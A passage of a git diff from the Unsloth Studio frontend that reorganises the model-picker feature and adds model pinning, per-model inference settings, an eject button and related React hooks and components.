+              className="pointer-events-auto inline-flex items-center justify-center gap-2 rounded-md bg-popover px-3 py-2 text-ui-13 font-medium text-destructive shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-[color-mix(in_srgb,var(--destructive)_12%,var(--popover))] dark:bg-[color-mix(in_srgb,var(--foreground)_10%,var(--sidebar))] dark:shadow-none dark:hover:bg-[color-mix(in_srgb,var(--destructive)_22%,var(--sidebar))]"
+              title="Eject model"
+            >
+              <HugeiconsIcon icon={RemoveCircleIcon} className="size-3.5" />
+              Eject model
+            </button>
+          </div>
+        ) : null}
       </div>
       <TransportConflictDialog
         conflict={updateTransportConflict}
@@ -3665,7 +4291,10 @@ export function HubModelPicker({
 function FineTunedRows({
   adapters,
   value,
+  loadedModelId,
+  activeGgufVariant,
   onSelect,
+  onConfigure,
   onModelsChange,
   deleteDisabled = false,
   loraModelList,
@@ -3675,7 +4304,10 @@ function FineTunedRows({
 }: {
   adapters: LoraModelOption[];
   value?: string;
+  loadedModelId?: string;
+  activeGgufVariant?: string | null;
   onSelect: (id: string, meta: ModelSelectorChangeMeta) => void;
+  onConfigure?: (id: string, meta: ModelSelectorChangeMeta) => void;
   onModelsChange?: (deletedModel?: DeletedModelRef) => void;
   deleteDisabled?: boolean;
   loraModelList: ReturnType<typeof useRovingModelList>;
@@ -3700,6 +4332,13 @@ function FineTunedRows({
         const isTrainingFull = isTraining && isMerged;
         const isLocalGgufDir =
           isLocal && (isGgufRepo(adapter.id) || isGgufRepo(adapter.name));
+        const selectionMeta: ModelSelectorChangeMeta = {
+          source: isLocal ? "local" : isExported ? "exported" : "lora",
+          isLora: !isLocal && !isMerged && !isGguf,
+          isDownloaded: true,
+          isGguf: false,
+        };
+        const canConfigure = !(isLocalGgufDir || isExportedGguf);
         const optionKey = makeModelOptionKey("lora", adapter.id);
         const tag = isLocal
           ? isLocalGgufDir
@@ -3731,6 +4370,12 @@ function FineTunedRows({
                   label={adapter.name}
                   meta={meta}
                   selected={value === adapter.id}
+                  loaded={isRuntimeLoadedModel(
+                    loadedModelId,
+                    activeGgufVariant,
+                    adapter.id,
+                    isLocalGgufDir || isExportedGguf ? "required" : "none",
+                  )}
                   optionProps={loraModelList.getOptionProps(
                     optionKey,
                     value === adapter.id,
@@ -3741,21 +4386,13 @@ function FineTunedRows({
                         prev === adapter.id ? null : adapter.id,
                       );
                     } else {
-                      onSelect(adapter.id, {
-                        source: isLocal
-                          ? "local"
-                          : isExported
-                            ? "exported"
-                            : "lora",
-                        isLora: !isLocal && !isMerged && !isGguf,
-                        isDownloaded: true,
-                      });
+                      onSelect(adapter.id, selectionMeta);
                     }
                   }}
                   tooltipText={
                     <>
                       <span className="block break-words">{adapter.name}</span>
-                      <span className="block mt-1 text-[10px] text-muted-foreground break-all">
+                      <span className="block mt-1 text-ui-10 text-muted-foreground break-all">
                         {adapter.id}
                       </span>
                     </>
@@ -3770,6 +4407,12 @@ function FineTunedRows({
                   }
                 />
               </div>
+              {canConfigure && onConfigure && (
+                <ModelLoadSettingsAction
+                  ariaLabel={`Inference settings for ${adapter.name}`}
+                  onConfigure={() => onConfigure(adapter.id, selectionMeta)}
+                />
+              )}
               {canDelete && (
                 <ModelDeleteAction
                   ariaLabel={`Delete ${adapter.name}`}
@@ -3800,6 +4443,7 @@ function FineTunedRows({
               <GgufVariantExpander
                 repoId={adapter.id}
                 onSelect={onSelect}
+                onConfigure={onConfigure}
                 parentOptionKey={optionKey}
                 onNavigatePastStart={() => loraModelList.focusOption(optionKey)}
                 onNavigatePastEnd={() =>
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx b/studio/frontend/src/features/model-picker/components/model-selector/pill-tabs.tsx
similarity index 96%
rename from studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx
rename to studio/frontend/src/features/model-picker/components/model-selector/pill-tabs.tsx
index e6da8a7b74..5dd5ca055a 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pill-tabs.tsx
+++ b/studio/frontend/src/features/model-picker/components/model-selector/pill-tabs.tsx
@@ -78,13 +78,14 @@ export function PillTabs({
             onValueChange(tabs[next].value);
             e.currentTarget.parentElement
               ?.querySelectorAll<HTMLElement>('button[role="tab"]')
-              [next]?.focus();
+              .item(next)
+              ?.focus();
           }}
           onClick={() => onValueChange(tab.value)}
           className={cn(
             "relative z-10 inline-flex items-center justify-center gap-1.5 rounded-full transition-colors",
             fit ? "shrink-0" : "min-w-0 flex-1",
-            compact ? "h-7 px-2.5 text-[11px]" : "h-9 px-3 text-[12.5px]",
+            compact ? "h-7 px-2.5 text-ui-11" : "h-9 px-3 text-ui-12p5",
             value === tab.value
               ? "text-foreground"
               : "text-muted-foreground hover:text-foreground",
diff --git a/studio/frontend/src/features/model-picker/components/model-selector/pinned-models.ts b/studio/frontend/src/features/model-picker/components/model-selector/pinned-models.ts
new file mode 100644
index 0000000000..0444b9f3cc
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/components/model-selector/pinned-models.ts
@@ -0,0 +1,89 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Pinned models for the model selector's On Device list, persisted in
+// localStorage so pins survive reloads. GGUF quants pin individually
+// (repoId + quant); non-GGUF repos pin as a whole. Pinned entries surface
+// in a "Pinned" section above the Unsloth/Downloaded group.
+
+import { create } from "zustand";
+
+const KEY = "unsloth_pinned_models";
+
+// Entries are stored as strings: "repoId" pins a whole (non-GGUF) repo,
+// "repoId::quant" pins one GGUF quant. Neither part contains "::".
+export function pinKey(repoId: string, quant?: string): string {
+  return quant ? `${repoId}::${quant}` : repoId;
+}
+
+export interface PinnedQuantEntry {
+  repoId: string;
+  quant: string;
+}
+
+export function makePinRank(
+  pinned: readonly string[],
+): (key: string) => number {
+  const pinIndex = new Map(pinned.map((key, index) => [key, index]));
+  return (key) => pinIndex.get(key) ?? Number.MAX_SAFE_INTEGER;
+}
+
+/** The pinned GGUF quants, in pin order. Plain repo pins are excluded. */
+export function pinnedQuantEntries(pinned: string[]): PinnedQuantEntry[] {
+  const out: PinnedQuantEntry[] = [];
+  for (const key of pinned) {
+    const sep = key.indexOf("::");
+    if (sep <= 0) continue;
+    const repoId = key.slice(0, sep);
+    const quant = key.slice(sep + 2);
+    if (repoId && quant) out.push({ repoId, quant });
+  }
+  return out;
+}
+
+function readPinned(): string[] {
+  try {
+    const raw = JSON.parse(localStorage.getItem(KEY) ?? "[]");
+    return Array.isArray(raw)
+      ? raw.filter((v): v is string => typeof v === "string")
+      : [];
+  } catch {
+    return [];
+  }
+}
+
+function writePinned(pinned: string[]): void {
+  try {
+    localStorage.setItem(KEY, JSON.stringify(pinned));
+  } catch {
+    // Ignore unavailable storage; pins stay session-only.
+  }
+}
+
+interface PinnedModelsState {
+  pinned: string[];
+  togglePinned: (repoId: string, quant?: string) => void;
+}
+
+export const usePinnedModelsStore = create<PinnedModelsState>((set) => ({
+  pinned: readPinned(),
+  togglePinned: (repoId, quant) =>
+    set((state) => {
+      const key = pinKey(repoId, quant);
+      // Newest pin first, so "Pin to top" literally lands on top of the
+      // pinned group rather than under earlier pins.
+      const next = state.pinned.includes(key)
+        ? state.pinned.filter((id) => id !== key)
+        : [key, ...state.pinned];
+      writePinned(next);
+      return { pinned: next };
+    }),
+}));
+
+if (typeof window !== "undefined") {
+  window.addEventListener("storage", (event) => {
+    if (event.key === KEY || event.key === null) {
+      usePinnedModelsStore.setState({ pinned: readPinned() });
+    }
+  });
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts b/studio/frontend/src/features/model-picker/components/model-selector/recommended-fit.ts
similarity index 91%
rename from studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
rename to studio/frontend/src/features/model-picker/components/model-selector/recommended-fit.ts
index 7c2ed266c0..b8fe47c706 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/recommended-fit.ts
+++ b/studio/frontend/src/features/model-picker/components/model-selector/recommended-fit.ts
@@ -64,9 +64,8 @@ export function matchesFormatFilter(
   }
 }
 
-// First "<n>B" token in a repo id, e.g. "Qwen3-4B-GGUF" -> 4, "gpt-oss-20b" ->
-// 20, "Qwen3-30B-A3B" -> 30 (MoE total), "gemma-4-E4B" -> 4 (effective-param
-// "E" series). The digits must be bounded by a separator so we never read "16"
+// First "<n>B" token in a repo id, e.g. "Qwen3-30B-A3B" -> 30 (MoE total),
+// "gemma-4-E4B" -> 4. Digits must be separator-bounded so we never read "16"
 // from "bf16" or the "2" in "Kimi-K2".
 const PARAM_RE = /(?:^|[-_/. ])[eE]?(\d+(?:\.\d+)?)\s*[bB](?=$|[-_./ ])/;
 
@@ -79,9 +78,8 @@ export function paramsFromId(id: string): number | undefined {
   return Number.isFinite(billions) && billions > 0 ? billions * 1e9 : undefined;
 }
 
-// Smallest practical GGUF/MLX quant (~Q2_K, low-bit). The fit check asks whether
-// a model can run at all, so it uses this rather than a default 4-bit size; a
-// user with a smaller device can still pick a low-bit variant.
+// Smallest practical GGUF/MLX quant (~Q2_K). The fit check asks whether a model
+// can run at all, so it uses this rather than a default 4-bit size.
 const MIN_QUANT_BYTES_PER_PARAM = 0.4;
 
 /** Rough on-disk bytes for the smallest practical quant of `params` weights. */
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts b/studio/frontend/src/features/model-picker/components/model-selector/row-meta.ts
similarity index 100%
rename from studio/frontend/src/components/assistant-ui/model-selector/row-meta.ts
rename to studio/frontend/src/features/model-picker/components/model-selector/row-meta.ts
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts b/studio/frontend/src/features/model-picker/components/model-selector/source-tabs.ts
similarity index 100%
rename from studio/frontend/src/components/assistant-ui/model-selector/source-tabs.ts
rename to studio/frontend/src/features/model-picker/components/model-selector/source-tabs.ts
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/types.ts b/studio/frontend/src/features/model-picker/components/model-selector/types.ts
similarity index 74%
rename from studio/frontend/src/components/assistant-ui/model-selector/types.ts
rename to studio/frontend/src/features/model-picker/components/model-selector/types.ts
index 6a86515267..9adf2d899e 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/types.ts
+++ b/studio/frontend/src/features/model-picker/components/model-selector/types.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import type { ReactNode } from "react";
+import type { PerModelConfig } from "../../model-config/per-model-config";
 
 export interface ModelOption {
   id: string;
@@ -36,6 +37,19 @@ export interface ModelSelectorChangeMeta {
   /** Direct local .gguf file picked without a variant (custom folder / LM
    *  Studio). Marks it as a GGUF source for the deferred-load staging flow. */
   isGguf?: boolean;
+  config?: PerModelConfig;
+  forceReload?: boolean;
+  /** Native path token so an active-model reload can reopen a file-picked GGUF. */
+  nativePathToken?: string;
+  nativePathExpiresAtMs?: number | null;
+}
+
+export interface ModelPickTarget {
+  id: string;
+  displayName: string;
+  ggufVariant?: string | null;
+  isGguf: boolean;
+  meta: ModelSelectorChangeMeta;
 }
 
 export interface DeletedModelRef {
diff --git a/studio/frontend/src/features/model-picker/components/numeric-value-input.tsx b/studio/frontend/src/features/model-picker/components/numeric-value-input.tsx
new file mode 100644
index 0000000000..2489927fc2
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/components/numeric-value-input.tsx
@@ -0,0 +1,113 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { cn } from "@/lib/utils";
+import { useRef, useState } from "react";
+
+export function snapToStep(
+  value: number,
+  step: number,
+  min?: number,
+  max?: number,
+): number {
+  const lo = min ?? Number.NEGATIVE_INFINITY;
+  const hi = max ?? Number.POSITIVE_INFINITY;
+  const clamped = Math.min(Math.max(value, lo), hi);
+  const stepStr = String(step);
+  const decimals = stepStr.includes(".") ? stepStr.split(".")[1].length : 0;
+  const base = Number.isFinite(lo) ? lo : 0;
+  const snapped = base + Math.round((clamped - base) / step) * step;
+  const reclamped = Math.min(Math.max(snapped, lo), hi);
+  return Number(reclamped.toFixed(decimals));
+}
+
+function sanitizeNumeric(raw: string, allowNegative: boolean): string {
+  const sign = allowNegative && raw.startsWith("-") ? "-" : "";
+  const [head, ...rest] = raw.replace(/[^\d.]/g, "").split(".");
+  const tail = rest.length > 0 ? `.${rest.join("")}` : "";
+  return `${sign}${head}${tail}`;
+}
+
+export function NumericValueInput({
+  value,
+  min,
+  max,
+  step,
+  onChange,
+  displayValue,
+  className,
+  ariaLabel,
+  size: sizeAttr,
+  disabled = false,
+}: {
+  value: number;
+  min?: number;
+  max?: number;
+  step: number;
+  onChange: (v: number) => void;
+  displayValue?: string;
+  className?: string;
+  ariaLabel?: string;
+  size?: number;
+  disabled?: boolean;
+}) {
+  const [focused, setFocused] = useState(false);
+  const [draft, setDraft] = useState("");
+  const cancelBlurCommitRef = useRef(false);
+
+  const commit = (raw: string) => {
+    const parsed = Number.parseFloat(raw);
+    if (!Number.isFinite(parsed)) {
+      return;
+    }
+    const final = snapToStep(parsed, step, min, max);
+    if (final !== value) {
+      onChange(final);
+    }
+  };
+
+  const displayed = focused ? draft : (displayValue ?? String(value));
+
+  return (
+    <input
+      type="text"
+      inputMode="decimal"
+      disabled={disabled}
+      size={sizeAttr}
+      style={{
+        boxSizing: "content-box",
+        width: `calc(${Math.max(displayed.length, 4)}ch + 2px)`,
+      }}
+      value={displayed}
+      aria-label={ariaLabel}
+      onFocus={(e) => {
+        cancelBlurCommitRef.current = false;
+        setDraft(String(value));
+        setFocused(true);
+        const target = e.currentTarget;
+        requestAnimationFrame(() => target.select());
+      }}
+      onBlur={() => {
+        if (cancelBlurCommitRef.current) {
+          cancelBlurCommitRef.current = false;
+        } else {
+          commit(draft);
+        }
+        setFocused(false);
+      }}
+      onChange={(e) =>
+        setDraft(sanitizeNumeric(e.target.value, (min ?? 0) < 0))
+      }
+      onKeyDown={(e) => {
+        if (e.key === "Enter") {
+          e.currentTarget.blur();
+        } else if (e.key === "Escape") {
+          cancelBlurCommitRef.current = true;
+          setDraft(String(value));
+          e.currentTarget.blur();
+        }
+      }}
+      className={cn(className)}
+    />
+  );
+}
diff --git a/studio/frontend/src/features/model-picker/components/sidebar-model-config.tsx b/studio/frontend/src/features/model-picker/components/sidebar-model-config.tsx
new file mode 100644
index 0000000000..2d12c503a4
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/components/sidebar-model-config.tsx
@@ -0,0 +1,91 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useMemo } from "react";
+import { gpuFieldsSignature } from "../model-config/apply-per-model-config";
+import type { PerModelConfig } from "../model-config/per-model-config";
+import { ModelConfigPage } from "./model-config-page";
+import type { ModelPickTarget } from "./model-selector/types";
+
+interface SidebarModelConfigProps {
+  modelId: string;
+  ggufVariant: string | null;
+  isGguf: boolean;
+  nativeContextLength: number | null;
+  loadedContextLength: number | null;
+  loadedConfig: PerModelConfig;
+  onReload: (config: PerModelConfig) => void;
+}
+
+const TRAILING_SEPARATORS = /[\\/]+$/;
+
+function leafName(id: string): string {
+  const trimmed = id.replace(TRAILING_SEPARATORS, "");
+  const separator = Math.max(
+    trimmed.lastIndexOf("/"),
+    trimmed.lastIndexOf("\\"),
+  );
+  return separator >= 0 ? trimmed.slice(separator + 1) : trimmed;
+}
+
+function hashString(value: string): number {
+  let hash = 5381;
+  for (let i = 0; i < value.length; i += 1) {
+    hash = (Math.imul(hash, 33) ^ value.charCodeAt(i)) >>> 0;
+  }
+  return hash;
+}
+
+function configSignature(config: PerModelConfig): string {
+  return [
+    config.customContextLength ?? "",
+    config.maxSeqLength ?? "",
+    config.kvCacheDtype ?? "",
+    config.speculativeType ?? "",
+    config.specDraftNMax ?? "",
+    config.tensorParallel ? "1" : "0",
+    config.chatTemplateOverride == null
+      ? ""
+      : `${config.chatTemplateOverride.length}:${hashString(config.chatTemplateOverride)}`,
+    gpuFieldsSignature(config),
+  ].join("|");
+}
+
+export function SidebarModelConfig({
+  modelId,
+  ggufVariant,
+  isGguf,
+  nativeContextLength,
+  loadedContextLength,
+  loadedConfig,
+  onReload,
+}: SidebarModelConfigProps) {
+  const target = useMemo<ModelPickTarget>(() => {
+    const leaf = leafName(modelId);
+    return {
+      id: modelId,
+      displayName: ggufVariant ? `${leaf} · ${ggufVariant}` : leaf,
+      ggufVariant,
+      isGguf,
+      meta: {
+        source: "local",
+        isLora: false,
+        ggufVariant: ggufVariant ?? undefined,
+        isGguf,
+        isDownloaded: true,
+        contextLength: nativeContextLength,
+      },
+    };
+  }, [modelId, ggufVariant, isGguf, nativeContextLength]);
+
+  return (
+    <ModelConfigPage
+      key={`${modelId}::${ggufVariant ?? ""}::${configSignature(loadedConfig)}`}
+      target={target}
+      onRun={onReload}
+      loadedConfig={loadedConfig}
+      loadedContextLength={loadedContextLength}
+      variant="sidebar"
+    />
+  );
+}
diff --git a/studio/frontend/src/features/model-picker/hooks/use-active-model-config.ts b/studio/frontend/src/features/model-picker/hooks/use-active-model-config.ts
new file mode 100644
index 0000000000..9d09ee6897
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/hooks/use-active-model-config.ts
@@ -0,0 +1,77 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { isExternalModelId, useChatRuntimeStore } from "@/features/chat";
+import { useMemo } from "react";
+import type { PerModelConfig } from "../model-config/per-model-config";
+
+export interface ActiveModelConfigState {
+  checkpoint: string | null;
+  isGguf: boolean;
+  config: PerModelConfig | null;
+}
+
+export function useActiveModelConfig(): ActiveModelConfigState {
+  const checkpoint = useChatRuntimeStore((s) => s.params.checkpoint) || null;
+  const maxSeqLength = useChatRuntimeStore((s) => s.params.maxSeqLength);
+  const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength);
+  const customContextLength = useChatRuntimeStore((s) => s.customContextLength);
+  const kvCacheDtype = useChatRuntimeStore((s) => s.kvCacheDtype);
+  const speculativeType = useChatRuntimeStore((s) => s.speculativeType);
+  const specDraftNMax = useChatRuntimeStore((s) => s.specDraftNMax);
+  const tensorParallel = useChatRuntimeStore((s) => s.tensorParallel);
+  const chatTemplateOverride = useChatRuntimeStore(
+    (s) => s.chatTemplateOverride,
+  );
+  const gpuMemoryMode = useChatRuntimeStore((s) => s.gpuMemoryMode);
+  const gpuLayers = useChatRuntimeStore((s) => s.gpuLayers);
+  const nCpuMoe = useChatRuntimeStore((s) => s.nCpuMoe);
+  const selectedGpuIds = useChatRuntimeStore((s) => s.selectedGpuIds);
+
+  const isGguf =
+    activeGgufVariant != null ||
+    ggufContextLength != null ||
+    (checkpoint?.toLowerCase().endsWith(".gguf") ?? false);
+
+  const config = useMemo<PerModelConfig | null>(() => {
+    if (!checkpoint || isExternalModelId(checkpoint)) {
+      return null;
+    }
+    const base: PerModelConfig = {
+      customContextLength: customContextLength ?? null,
+      maxSeqLength: isGguf ? null : maxSeqLength,
+      kvCacheDtype: kvCacheDtype ?? null,
+      speculativeType: speculativeType ?? "auto",
+      specDraftNMax: specDraftNMax ?? null,
+      tensorParallel: tensorParallel ?? false,
+      chatTemplateOverride: chatTemplateOverride ?? null,
+    };
+    if (!isGguf) {
+      return base;
+    }
+    return {
+      ...base,
+      gpuMemoryMode,
+      gpuLayers,
+      nCpuMoe,
+      selectedGpuIds,
+    };
+  }, [
+    checkpoint,
+    isGguf,
+    maxSeqLength,
+    customContextLength,
+    kvCacheDtype,
+    speculativeType,
+    specDraftNMax,
+    tensorParallel,
+    chatTemplateOverride,
+    gpuMemoryMode,
+    gpuLayers,
+    nCpuMoe,
+    selectedGpuIds,
+  ]);
+
+  return { checkpoint, isGguf, config };
+}
diff --git a/studio/frontend/src/features/model-picker/hooks/use-model-defaults.ts b/studio/frontend/src/features/model-picker/hooks/use-model-defaults.ts
new file mode 100644
index 0000000000..530e6e06d8
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/hooks/use-model-defaults.ts
@@ -0,0 +1,191 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useHfTokenStore, useInventoryVersion } from "@/features/hub";
+import { useEffect, useState } from "react";
+import { fetchModelMaxPositionEmbeddings } from "../api/model-metadata";
+import { fetchDefaultChatTemplate } from "../api/templates";
+
+export interface DefaultChatTemplateState {
+  template: string | null;
+  loading: boolean;
+  error: string | null;
+}
+
+export interface ModelMaxPositionState {
+  maxPositionEmbeddings: number | null;
+  loading: boolean;
+  error: string | null;
+}
+
+const TEMPLATE_CACHE_MAX_ENTRIES = 50;
+const templateCache = new Map<string, string | null>();
+const maxPositionCache = new Map<string, number | null>();
+
+function cacheTemplate(key: string, template: string | null): void {
+  templateCache.delete(key);
+  templateCache.set(key, template);
+  while (templateCache.size > TEMPLATE_CACHE_MAX_ENTRIES) {
+    const oldest = templateCache.keys().next().value;
+    if (oldest === undefined) {
+      break;
+    }
+    templateCache.delete(oldest);
+  }
+}
+
+function cacheMaxPosition(key: string, value: number | null): void {
+  maxPositionCache.delete(key);
+  maxPositionCache.set(key, value);
+  while (maxPositionCache.size > TEMPLATE_CACHE_MAX_ENTRIES) {
+    const oldest = maxPositionCache.keys().next().value;
+    if (oldest === undefined) {
+      break;
+    }
+    maxPositionCache.delete(oldest);
+  }
+}
+
+export function useDefaultChatTemplate(
+  modelId: string | null,
+  ggufVariant: string | null | undefined,
+  enabled: boolean,
+  nativePathToken?: string | null,
+): DefaultChatTemplateState {
+  const token = useHfTokenStore((s) => s.token);
+  const inventoryVersion = useInventoryVersion();
+  // The native token is part of the identity: a picked GGUF resolves its
+  // template through the lease, not the model id, so two picks of the same
+  // basename must not share a cache entry.
+  const cacheKey =
+    enabled && modelId
+      ? `${modelId}::${ggufVariant ?? ""}::${token}::${inventoryVersion}::${nativePathToken ?? ""}`
+      : null;
+  const [fetched, setFetched] = useState<{
+    key: string;
+    state: DefaultChatTemplateState;
+  } | null>(null);
+
+  useEffect(() => {
+    if (cacheKey == null || !modelId || templateCache.has(cacheKey)) {
+      return;
+    }
+    const controller = new AbortController();
+    fetchDefaultChatTemplate(
+      modelId,
+      ggufVariant,
+      token,
+      controller.signal,
+      nativePathToken,
+    )
+      .then((template) => {
+        if (controller.signal.aborted) {
+          return;
+        }
+        // Cache the terminal result, including a null "no default template",
+        // so reopening the viewer for such a model reuses it instead of
+        // re-running the backend/Hugging Face lookup every time.
+        cacheTemplate(cacheKey, template);
+        setFetched({
+          key: cacheKey,
+          state: { template, loading: false, error: null },
+        });
+      })
+      .catch((err: unknown) => {
+        if (controller.signal.aborted) {
+          return;
+        }
+        setFetched({
+          key: cacheKey,
+          state: {
+            template: null,
+            loading: false,
+            error:
+              err instanceof Error ? err.message : "Failed to load template",
+          },
+        });
+      });
+
+    return () => controller.abort();
+  }, [cacheKey, modelId, ggufVariant, token, nativePathToken]);
+
+  if (cacheKey == null) {
+    return { template: null, loading: false, error: null };
+  }
+  if (templateCache.has(cacheKey)) {
+    return {
+      template: templateCache.get(cacheKey) ?? null,
+      loading: false,
+      error: null,
+    };
+  }
+  if (fetched?.key === cacheKey) {
+    return fetched.state;
+  }
+  return { template: null, loading: true, error: null };
+}
+
+export function useModelMaxPositionEmbeddings(
+  modelId: string | null,
+  enabled: boolean,
+): ModelMaxPositionState {
+  const token = useHfTokenStore((s) => s.token);
+  const inventoryVersion = useInventoryVersion();
+  const cacheKey =
+    enabled && modelId ? `${modelId}::${token}::${inventoryVersion}` : null;
+  const [fetched, setFetched] = useState<{
+    key: string;
+    state: ModelMaxPositionState;
+  } | null>(null);
+
+  useEffect(() => {
+    if (cacheKey == null || !modelId || maxPositionCache.has(cacheKey)) {
+      return;
+    }
+    const controller = new AbortController();
+    fetchModelMaxPositionEmbeddings(modelId, token, controller.signal)
+      .then((maxPositionEmbeddings) => {
+        if (controller.signal.aborted) {
+          return;
+        }
+        cacheMaxPosition(cacheKey, maxPositionEmbeddings);
+        setFetched({
+          key: cacheKey,
+          state: { maxPositionEmbeddings, loading: false, error: null },
+        });
+      })
+      .catch((err: unknown) => {
+        if (controller.signal.aborted) {
+          return;
+        }
+        setFetched({
+          key: cacheKey,
+          state: {
+            maxPositionEmbeddings: null,
+            loading: false,
+            error:
+              err instanceof Error
+                ? err.message
+                : "Failed to load model metadata",
+          },
+        });
+      });
+
+    return () => controller.abort();
+  }, [cacheKey, modelId, token]);
+
+  if (cacheKey == null) {
+    return { maxPositionEmbeddings: null, loading: false, error: null };
+  }
+  if (maxPositionCache.has(cacheKey)) {
+    return {
+      maxPositionEmbeddings: maxPositionCache.get(cacheKey) ?? null,
+      loading: false,
+      error: null,
+    };
+  }
+  if (fetched?.key === cacheKey) {
+    return fetched.state;
+  }
+  return { maxPositionEmbeddings: null, loading: true, error: null };
+}
diff --git a/studio/frontend/src/features/model-picker/index.ts b/studio/frontend/src/features/model-picker/index.ts
new file mode 100644
index 0000000000..d2b4785ec3
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/index.ts
@@ -0,0 +1,39 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export { ModelSelector } from "./components/model-selector";
+export { FolderBrowser } from "./components/model-selector/folder-browser";
+export { ModelRowMenu } from "./components/model-selector/model-row-menu";
+export {
+  makePinRank,
+  pinKey,
+  usePinnedModelsStore,
+} from "./components/model-selector/pinned-models";
+export { hfModelFitsDevice } from "./components/model-selector/recommended-fit";
+export {
+  NumericValueInput,
+  snapToStep,
+} from "./components/numeric-value-input";
+export { SidebarModelConfig } from "./components/sidebar-model-config";
+export {
+  useActiveModelConfig,
+} from "./hooks/use-active-model-config";
+export type {
+  DeletedModelRef,
+  ExternalModelOption,
+  LoraModelOption,
+  ModelOption,
+  ModelSelectorChangeMeta,
+} from "./components/model-selector";
+export {
+  applyModelLoadConfigToRuntime,
+  applyPerModelConfigToRuntime,
+  currentRuntimePerModelConfig,
+  perModelConfigsEqual,
+} from "./model-config/apply-per-model-config";
+export {
+  DEFAULT_MAX_SEQ_LENGTH,
+  normalizeMaxSeqLength,
+  type PerModelConfig,
+  resolveInitialConfig,
+} from "./model-config/per-model-config";
diff --git a/studio/frontend/src/features/model-picker/inventory/use-chat-picker-inventory.ts b/studio/frontend/src/features/model-picker/inventory/use-chat-picker-inventory.ts
new file mode 100644
index 0000000000..b46e83819c
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/inventory/use-chat-picker-inventory.ts
@@ -0,0 +1,123 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type {
+  CachedGgufRepo,
+  CachedModelRepo,
+  LocalModelInfo,
+} from "@/features/chat";
+import {
+  type CachedInventoryRow,
+  type LocalInventoryRow,
+  type LocalSource,
+  isHiddenModelId,
+  useHubInventory,
+} from "@/features/hub";
+import { useMemo } from "react";
+
+const PICKER_LOCAL_SOURCES: ReadonlySet<LocalSource> = new Set([
+  "lmstudio",
+  "models_dir",
+  "custom",
+]);
+
+function isCompleteCachedRow(row: CachedInventoryRow): boolean {
+  return !row.partial && !row.liveDownload;
+}
+
+function toCachedGgufRepo(row: CachedInventoryRow): CachedGgufRepo {
+  return {
+    repo_id: row.repoId,
+    size_bytes: row.bytes,
+    cache_path: row.cachePath ?? "",
+    last_modified: row.lastModified ?? undefined,
+    has_vision: row.capabilities.supportsVision,
+  };
+}
+
+function toCachedModelRepo(row: CachedInventoryRow): CachedModelRepo {
+  return {
+    repo_id: row.repoId,
+    size_bytes: row.bytes,
+    last_modified: row.lastModified ?? undefined,
+  };
+}
+
+function toLocalModelInfo(row: LocalInventoryRow): LocalModelInfo {
+  return {
+    id: row.loadId,
+    display_name: row.displayName ?? row.title,
+    path: row.path,
+    source: row.source as LocalModelInfo["source"],
+    model_id: row.modelId ?? row.repoId,
+    model_format: row.modelFormat,
+    updated_at: row.updatedAt,
+  };
+}
+
+export interface ChatPickerInventory {
+  cachedGguf: CachedGgufRepo[];
+  cachedModels: CachedModelRepo[];
+  cachedReady: boolean;
+  localModels: LocalModelInfo[];
+  refreshInventory: () => Promise<void>;
+}
+
+export function useChatPickerInventory(
+  options: { enabled?: boolean } = {},
+): ChatPickerInventory {
+  const inventory = useHubInventory({
+    kind: "models",
+    enabled: options.enabled,
+    includeLocal: true,
+  });
+
+  const cachedGguf = useMemo(
+    () =>
+      inventory.cachedRows
+        .filter(
+          (row) =>
+            row.modelFormat === "gguf" &&
+            isCompleteCachedRow(row) &&
+            !isHiddenModelId(row.repoId),
+        )
+        .map(toCachedGgufRepo),
+    [inventory.cachedRows],
+  );
+  const cachedModels = useMemo(
+    () =>
+      inventory.cachedRows
+        .filter(
+          (row) =>
+            row.modelFormat !== "gguf" &&
+            isCompleteCachedRow(row) &&
+            !isHiddenModelId(row.repoId),
+        )
+        .map(toCachedModelRepo),
+    [inventory.cachedRows],
+  );
+  const localModels = useMemo(
+    () =>
+      inventory.localRows
+        .filter(
+          (row) =>
+            PICKER_LOCAL_SOURCES.has(row.source) &&
+            // Skip non-chat rows (e.g. a folder with only config.json is
